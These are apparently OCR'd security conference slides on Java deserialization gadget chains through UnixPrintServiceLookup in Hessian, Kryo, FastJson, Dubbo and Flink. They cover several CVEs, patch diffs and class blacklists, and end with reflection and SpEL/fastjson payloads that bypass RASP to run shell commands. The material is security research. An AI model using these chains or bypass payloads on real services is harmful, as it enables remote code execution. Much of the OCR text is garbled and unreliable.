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® APIEIT

JDKH PrintServicelLookup# OB TiRMITENRS B EMEKINGE, ElinuxBIJDKHFERIT
fflUnixPrintServiceLookup Z, PrintServiceLookupProvider (ShRZN jdk$)

[ varl=new PrinterChangelListener ] [ PrinterChangelListener#run ]
( varl.start(): ] [ UnixPrintServicelLookup# ]
ElnixPrintServiceLookup#init] ! refreshServices

@ = Functionallnterface

Runnable getDefaultPrintService

- ¢ V

Runti tRuntime() (end) UnixPrintServicelookup#
PrinterChangeListener untime.getruntimes . exectcm getDefaultPrinterNameBSD

[ UnixPrintServicelLookup#execCmd [ Sl o2 eSS ot T )




® APIEA

execCmdHIBERETENEN, ERENERR TURKENETREEFEE —LERENK

public class UnixPrintServiceLookup {
serinall Lockinsicon = nev Stringll Lo ds
private String getDefaultPrinterNameBSD() {
if(cmdIndex == -1) {
cmdIndex = getBSDCommandIndex( );
}
String[] varl = execCmd(this.lpcFirstCom S@QEQQ?&JJ@

if(varl !'= null && varl.length != 0) {

return cmdIndex == 1 && varl[0].startsWith("missingprinter") ? null : varl[0];
}
else {

return null;
}
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® How FieldBased mechanism work in deserialisation

« ERLEHERSCARINERTSEMIE A
o AJFE Map BB, 1A hashcode FAE
o RFRFIMCARSLI Serializable #O/RYZE
- FRRITRKEXNRIEM

Existing ideas

source . - chain sink
some methods like hashcode helpful methods - dangerous methods




® Utilisation under FieldBased mechanism

java native serialize

NO

Hessian

YES(version=3.x)

Hessian Lite

YES(version<=3.2.12)

SOFA-Hessian

YES(version<4.0.0)

Kryo YES
FastJson YES (FieldBased)
Jackson YES (FieldBased)
XStream NO

FST NO




® Hessian

Hession@— MR ERN_HEI I, 3xRAPERFINCHARBOREZLD T

The process of deserializing a java object

this._constructor.newInstance(this._constructorArgs) :

l’;:his._constructor #* null ?

this._type.newInstance();

‘this._field.set(obj, value);

‘'value = in.readObject(this._field.getType());

[ Hessian2Input#readObject j

}

[SerializerFactory#readObjectj

!

[»JavaDeserializer#readObject<J

v

[JavaDeserializer#instantiatgj

J

(?avaDeserializer.ObjectField?J

eserializer#tdeserialize




® Hessian

TSR, EHRITRFIICHBEUNTHRETH

O] AR FH4 ASLHSerializeable 892

[E A BIARFF4LES JavaDeserializer L4 ZE BN S1E A& 5 7%

N FERTSHIER L, RELSHEER ENSERESHIMIES L ERERREARLER
#H H X R NSH=BNZE Anull

BT [ 5 SRR E B 1%

W

perfect with UnixPrintServiceLookup

N



® \Why not hessian 4.x ?

//3.x use JavaSerializer
protected Serializer getDefaultSerializer(Class cl) {
if(this._defaultSerializer != null) {
return this._defaultSerializer;
¥
else if(!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable) {
throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");

}
else {

return new JavaSerializer(cl);
}

//4.x use UnsafeSerializer
protected Serializer getDefaultSerializer(Class cl) {
if(this._defaultSerializer != null) {
return this._defaultSerializer;
}
else if(!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable) {
throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");

¥
else {
return(Serializer)(this._isEnableUnsafeSerializer && JavaSerializer.getWriteReplace(cl) == null ?
UnsafeSerializer.create(cl) : JavaSerializer.create(cl));
}

}




® \Why not hessian 4.x ?

//3.x use JavaDeserializer can call the default constructor
protected Object instantiate() throws Exception {
try {
if(_constructor != null) return _constructor.newInstance(_constructorArgs);
else return _type.newInstance();

}
//other code

//4.x use UnsafeDeserializer and instantiating classes with unsafe
protected Object instantiate() throws Exception {
return _unsafe.allocateInstance(this._type);

}

#S0 in version 4.x you call constructor methods, can't use UnixPrintServicelLookup




® Hessian Lite

hessian-lite@Apache DubbofJ—"MEHR | BEEETE AhessionB—MEMMRAK, AZeM L3RG, BT
[RI8BYhessian hessian-lite P 4R 7T — 1N ERE, AFHESHNNRFICE;

#DENY_CLASS

bsh.

ch.qos.logback.core.db.

clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.config.types.

£3.2.12LA R ZBIARZA D ol LA R oI iR B Hi&SerializableBV2E, ERE RS Bt AEEX sun.printdy
SHE, BEIANNRFEVILEENJavaDeserializer, R TILATRE/FEEAIXIUNixPrintServiceLookupBIF!
BZEX

N



® |Leadto CVE-2022-39198
dubboiB{E I EGIA{E A hessian-lite TR FAI4, LT

l DecodeableRpcInvocationW ’ CodecSupport W L Hessian2Serialization —/] L Hessian20bjectInput l L Hessian2Input J
T T

| =T

getSerialization

return Hessian2Serialization

=]

|
|
|
|
|
|
|
|
|
|
|
get objectinput T

\

return Hessian20bjectInput

N
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® |Leadto CVE-2022-39198

RIE_LERRIET AL I T2 R/FE UnixPrintServiceLookup B B 44 ;
NTHEAREERRECEEEEDRFTESE, RANAARIFLAMREESerializableBIZE

org.springframework.orm. org.springframework.orm.
org.springframework.transaction. org.springframework.transaction.
org.yaml.snakeyaml. tokens. org.yaml.snakeyaml. tokens.
ognl.
pstore.shaded.org.apache.commons.collections. pstore.shaded.org.apache.commons.collections.
sun.print.
sun.rmi.server. sun.rmi.server.
sun.rmi.transport. sun.rmi.transport.
weblogic.ejb20.internal. weblogic.ejb20.internal.

if (!Serializable.class.isAssignableFrom(cl)
&& ! _isAllowNonSerializable) {
throw new IllegalStateException("Serialized class " + cl.getName() + " must
implement java.io.Serializable");

}




® SOFA-Hessian

SOFA-HessiantE @ — 1 ET R4 Hessian BIBUEIRA, B4R, FE3xXRAT, ERIANREIIL
g5/ JavaDeserializer, H sun.print 8F A7 H serialize.blacklist BB EH, FrLATE3 xhRAF
X4 SOFA-Hessian t2 o] LAE#FI A UnixPrintServiceLookup

ME4XBIRA S, HRFIICE81ERF _EEHession—# L 7 ), B i & A




® Safety Case
EHRrpchEZRKH 7 SOFA-Hessian 3.x, Serverinf#th = PimfE AFUERREWN T

-——-1

] xxxRpcSerialization ‘ I SerializerFactory W ‘ SofaHessianSerializer j EustomHessianSerializerManagerJ l Hessian2Input
T J I T T
~_ I I !
1 ; | [ !
getSerializer by typeid | ) |
I I !
[ I !
I I !
I I !
return SofaHessianSerializer | | |
I I !
I ! I I !
| | . | |
] | decode | |
~.
t —= | 1
[ ) 1
1 | |
1 I | |
| U I
| | getSerial ! |
Lr | ﬂ = I
1 1
| | |
1 L || return So faRequestHessianSerializer |
| |
| |
| - |
| |
| |
) e

|

|

1

1

1

!

\ TR BTN S R R LB R AE.

EHRHITEEBRT S IREANSHEY, SFERSOFA-Hession#ITRFIIM, HEEFE
EHObjectE R SHAY, ML UNixPrintServiceLookupFEZFIEIED, ERFIIK
TS, HTFERRILEIServerimFsBROEFinABNAERSEE, Al




® Kryo

Kryo—fJavaXdRFI MY, B lRE RN R P IavaRtR, HEEKERF
P EHE L E B JavaRAIL MY E/N, ERFIIURREZL T

Kryo#readClassAndObject Registration#getSerializer FieldSerializer#read
I T
: | |
| _1_1 |
etSerializer I
[ ] g ~. !
|
< return FieldSerializer :
|
. X '
| |
| _
' : Deserialized Data
i | =
|
|
|
- |
|

kryoft R EFIL LB B X AT TR N EF F N AFieldSerializer# T R R4,
FieldSerializerSLAML KX S EFARNESHIIMIER E, IR RKBLSHNEERE
B TAESLAIE, SLOIMKERBRETRIRERBM,




® |Leadto CVE-2020-5413

Spring Integration@—#H BZHIMEZR, ECodecMessageConverterfEXHH B TRIZNS
EREkryoHTREIIL, BINREBUT

[} AbstractKryoCodec#decode ] [> Kryo#readObject ]
[ R C— ]/[ ) / [ R T— ]

#toMessage PojoCodec#doDecode

52 7RBTRNRAS, EXEEFMENERkryotiTRFPIIM, RWEXETARFIHERSE,
R SEOABEIFieldSerializer>RIREEMNEM, ELEXERSHEAUNiXPrintServiceLookup
&G, THREAIEKBEN TS ARCEF A
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® Leadto CVE-2020-5413

EAXNTZIORNEEZEFTESHRE T kryolIZEMALEI, HILESRAD S ERERTTR
EMBANERRN, 2REHTFAN

...tion-core/src/main/java/org/springframework/integration/codec/kryo/AbstractKryoCodec.java d;

-1,5 +1,5 @@
/*
Copyright 2015-2019 the original author or authors. + * Copyright 2015-2020 the original author or authors.
*
Licensed under the Apache License, Version 2.0 (the '"License"); % Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License. * you may not use this file except in compliance with the License.

-44,6 +44,7 @@ public abstract class AbstractKryoCodec implements Codec {

protected AbstractKryoCodec() { 44 protected AbstractKryoCodec() {
KryoFactory factory = () —> { 45 KryoFactory factory = () — {
Kryo kryo = new Kryo(); 46 Kryo kryo = new Kryo();
47 + kryo.setRegistrationRequired(true);
// configure Kryo instance, customize settings 48 // configure Kryo instance, customize settings
configureKryoInstance(kryo); 49 configureKryoInstance(kryo);
return kryo; 50 return kryo;




® FastJson(FieldBased)

HFastJsonFFiEAutotypeflFieldBasedBL E Y, $EISONFEHE A IAVATRARIZW T

Sl 2 RS R
REY B AT B ERATO S A3 | B S
FH, BTSRRI > 824 JSON ?—?&%T@Eﬂ?—ﬁﬁ

4$ ﬁp_'l: ) ;Il_a -lv( '
NETERERUES LR, RSl R |

N



® |Leadto CVE-2023-23638[1] version: 3.1.0-3.1.4
fEdubboll 3.1.xkRAT, HIE T fastjson2 RFFI 8, R R EREORIZ T

] Decodeab'LeRpcInvocationj CodecSupport l ‘ Fasthonzseria'Lizationj L FastJson20bjectInput J [ JSONB.parseObject J
T T ! T

AL >F

getSerialization

_~

return FastJson2Serialization

|
|
|
|
|
|
|
|
|
|
get objectinput ﬁ

=]

V

return FastJson20bjectInput

Deserialized data > H

|

| |
H Deserialized data U

|

|

|

|




® |eadto CVE-2023-23638][1] version: 3.1.0-3.1.4

£ dubboF EASEAhessian#H TR o, {BIXTEE ol LAEE consumer s K SerializeidR
B RFILESIER RATESHRANdubboFEEN RFILIdHIREKRE, BEREZ
HIIATFAEE — M readUTFRIZENdubboBIRRZAS S, #EFastjson2 R 5l eE FreadUTFETE A
readObject>RHITRFIIH, BIFREZLT

> T readObject( <T> ) {

<
DecodeableRpcInvocation#decode R § E ;
bytel ] = new byte[lengthl;
int = is. ( ,» 0, );

( 1= ) {
("deserialize failed. expected read length: " + + " but actual read: " + IE
}
(T) . ( , Object. 5 . . .

);

[ FastJson20bjectInput#readUTF j

o] LAE 2 £l Bfastjson2 T BHE R /S 7 AutoTypefll
FieldBased, TJLARJAUnixPrintServiceLookup {78 <, EESFE

BN, ZMAREREER, LEIETRRSNRS SR
[ FastJson20bjectInput#readObject ] Eéﬂl]ﬁ_]‘*”};ﬁ,

N




® Leadto CVE'2025'23638[1] version: 3.1.0-3.1.4
XU, E73XHE T Autotype, BB R 1F R LA SEMSerializableHBIZE

12 mmEE  ...json2/src/main/java/org/apache/dubbo/common/serialize/fastjson2/FastJson20bjectInput.java |f—|

@@ -32,11 +32,15 @@ public class FastJson20bjectInput implements ObjectInput {

private final Fastjson2CreatorManager fastjson2CreatorManager; private final Fastjson2CreatorManager fastjson2CreatorManager;
private final Fastjson2SecurityManager fastjson2SecurityManager;

private volatile ClassLoader classLoader; 3 private volatile ClassLoader classLoader;
private final InputStream is; private final InputStream is;

public FastJson20bjectInput(Fastjson2CreatorManager fastjson2CreatorManager, InputStream public FastJson20bjectInput(Fastjson2CreatorManager fastjson2CreatorManager,
in) {
Fastjson2SecurityManager fastjson2SecurityManager,
InputStream in) {
this.fastjson2CreatorManager = fastjson2CreatorManager; 2 this.fastjson2CreatorManager = fastjson2CreatorManager;
this.fastjson2SecurityManager = fastjson2SecurityManager;
this.classLoader = Thread.currentThread().getContextClassLoader(); this.classLoader = Thread.currentThread().getContextClassLoader();
this.is = in; this.is = in;
fastjson2CreatorManager.setCreator(classLoader); - fastjson2CreatorManager.setCreator(classLoader);

@@ -107,8 +111,9 @@ public <T> T readObject(Class<T> cls) throws IOException {

if (read != length) { if (read !'= length) {
throw new IllegalArgumentException("deserialize failed. expected read length: " throw new IllegalArgumentException("deserialize failed. expected read length: "
+ length + " but actual read: " + read); + length + " but actual read: " + read);
} }
return (T) JSONB.parseObject(bytes, Object.class, return (T) JSONB.parseObject(bytes, Object.class,
JSONReader.Feature.SupportAutoType, fastjson2SecurityManager.getSecurityFilter(),
JSONReader.Feature.UseDefaultConstructorAsPossible, JSONReader.Feature.UseDefaultConstructorAsPossible,

JSONReader.Feature.ErrorOnNoneSerializable,
JSONReader.Feature.UseNativeObject, JSONReader.Feature.UseNativeObject,
JSONReader.Feature.FieldBased); JSONReader.Feature.FieldBased);




® Pojo Class Recovery \

BENBEKREPojoRIN A T RS Lsetter BENEMSFERARGRKRE
i%gf =%, SHIREXLANWERRANLEESZE, BoinEik
THYZES

N



® |Leadto CVE-2023-23638[2]

HDubbofRFZ BB UE— N2 AIE KEY, GenericFilteraX 1B KiEHI TR, BiEKkPHS
R A N Jovod R, FPREEEBRLELRIARS STIEH TR, FEdubboiZ 18 B
HZENIZE Araw.return/a, TIRREPojoEMEERIANMEIERE, HERRKIKERE M

Object realize®(Object pojo, Class <? > type, Type genericType, Map < Object, Object > history) {
//code
dest = newInstance(type);
//code
Field field = getField(dest.getClass(), name);
//code
field.set(dest, value);

}

N



® Leadto CVE-2023-23638[2]

HZWABNtEEEBECWERZE, {ITserialize.blockedlist, #3.1.4kRZAET, sun.printE RERZER
BED, FHItXERFSFIEUNIxPrintServiceLookup®I&4, FAZWARNEIAMLRRITHS; A

TEEZIOBM, EREEENRAPXN RN FER T EHRBRESHITRLR; F55ERRANPE/RE
TEMERKIEFH.

org.mortbay.jetty. org.mortbay.jetty.

+ org.mortbay. log.
org.mozilla.javascript org.mozilla.javascript
org.objectweb.asm. org.objectweb.asm.
org.osjava.sj. org.osjava.sj.
org.python.core org.python.core
org.quartz. org.quartz.
org.slf4j. 8 org.slf4j.
org.springframework. org.springframework.

- org.yaml.snakeyaml.tokens.directivetoken + org.thymeleaf.
- sun.rmi.server.unicastref + org.yaml.snakeyaml. tokens.
©

+ pstore.shaded.org.apache.commons.collections.

+ sun.print.

sun.rmi.server.

+ sun.rmi.transport.

+ weblogic.ejb20.internal.

+ weblogic.jms.common.




® LeadtoFlink RCE

=i a/v1/jobsiS HAIXE X CERNHTFEEN, X CENEIREHFTREICERE, EesfT
org.apache.flink.runtime.rest.handler.job.JobSubmitHandler#loadJobGraph

yraph> loadJobGraph(JobSubmitRequestBoo eque dy, < String, Path > name [ le)

7 VV \ jobi ’ 7“< = getl AndAsse id( requestB ol \FileName, I ) APH, e e);
mpletableFuture.supplyAsyr
Gre \ ( 2 ;
( tInputStream objectIn = w utStream(jobGraphFile.g tem().open( jobGr ))) A

on( ‘ on("Failed to deserialize JobGraph.", onse! us.l , €));

X B o] LAfE A org.apache flink.api.common.state.StateDescriptord BreadObject3RiER & FFoI4L 28117 —
ﬁ’gg%@]%, =ixfEPojoSerializer R AL esEY, SERALTSHMERICKAENSR, RNERARINIIAINK
i }%l

N



® LeadtoFlink RCE

//PojoSerializer

public T deserialize(DataInputView source) throws IOException {
//code
target = createlnstance();
//code
Object field = fieldSerializers[i].deserialize(source);
flelds[i].set(target, field);
//code

public T createInstance() {
if(clazz.isInterface() || Modifier.isAbstract(clazz.getModifiers())) {
return null;

b

try {
T t = clazz.newInstance();
initializeFields(t);
return t;

b

catch(Exception e) {
throw new RuntimeException("Cannot instantiate class.", e);

}

FEIXEZEERUNnixPrintServiceLookup BRI B&EMH, BEIN B NRFEIIHEZEAESH




® Member of gadget chain

B FUnixPrintServiceLookup® #1775 7A= BHgetDefaultPrintService 57 ARERI, B
Z 7% ApublicH i, KBE}%J;%'ZWCEPE.fDX?Ei—Ll'getterE’\JgadgetE’\J%@,E%‘E%*Uﬁﬁ':P, BE

StESFastjson. RomeFHEESEH

N



® Safety Case

RXARNDMIVTERSBARPOERTS, EEHATEEDEZARNERES, SEIAER
E%s;;nZLg HiERIILSRFF, BRERFIMEHASTREBEEEPHER
j vk

"NettyServer-172.20.10.2:8001-1-thread-3"@2,843 in group "main": RUNNING
O deserialize:50, Hessian2Serialization

deserialize:52, AbstractCodec

decodeRequestParameter:327, DefaultRpcCodec

decodeRequest:308, DefaultRpcCodec

decode:122, DefaultRpcCodec

processMessage:109, NettyChannelHandler

lambda$channelRead$0:71, NettyChannelHandler




® Safety Case

Bl{EAMEIRERS RIAE, BTUETREICHFR EBESEREKRBT AL LZINEFE
EfastjsonfUkE ; BTFESERFIHLZETIR, JLAEZEE S fastjson B
JSONODbiject.toString A UnixPrintServiceLookupfgetDefaultPrintService 7%, #Hmf

4= AN .
ﬁup/v\,

<dependency>
<groupIld>com.alibaba</groupld>
<artifactId>fastjson</artifactld>

<version>1l.2.83</version>
</dependency>
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® RASPIZPBHTricks

RHIEUNIxPrintServiceLookup LA BT FTR L2 R4, XTRASPHIAE AL N gEG2 2BV 5%IT
demofl &

UnixPrintServiceLookup lookup = new UnixPrintServicelLookup();
Fleld lpcFirstCom = UnixPrintServicelLookup.class.getDeclaredField("1lpcFirstCom");
LpcFirstCom.setAccessible(true);

LpcFirstCom.set(lookup,new String[]{"touch /tmp/pwned","touch /tmp/pwned","touch /tmp/pwned"});

N



® RASPIZPBHTricks

FENREFERXNFER T RERELE, RUFAEE—LREZSEN, TGN TERERIF A
W0%Espel + fastjsonlm= T, TLATRBVER fastjsonfFERIKE B M

T(com.alibaba.fastjson.JSON).parseObject('{"lpcFirstCom":["touch /tmp/pwned","touch /tmp/pwned","touch /tmp/pwned"]}',
T(sun.print.UnixPrintServicelLookup),
T(com.alibaba.fastjson.parser.Feature).SupportNonPublicField)




KCon B *" =

Returning to the source Intelligent transformation
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X+F RPCHR K15

XHZ IR R HTESNERNE
XHEEMERNFI S ERREEZREE
(FRZEMRSNFI LS

X T L A A K5
X3 F P ol R K LR R T R R EAEE
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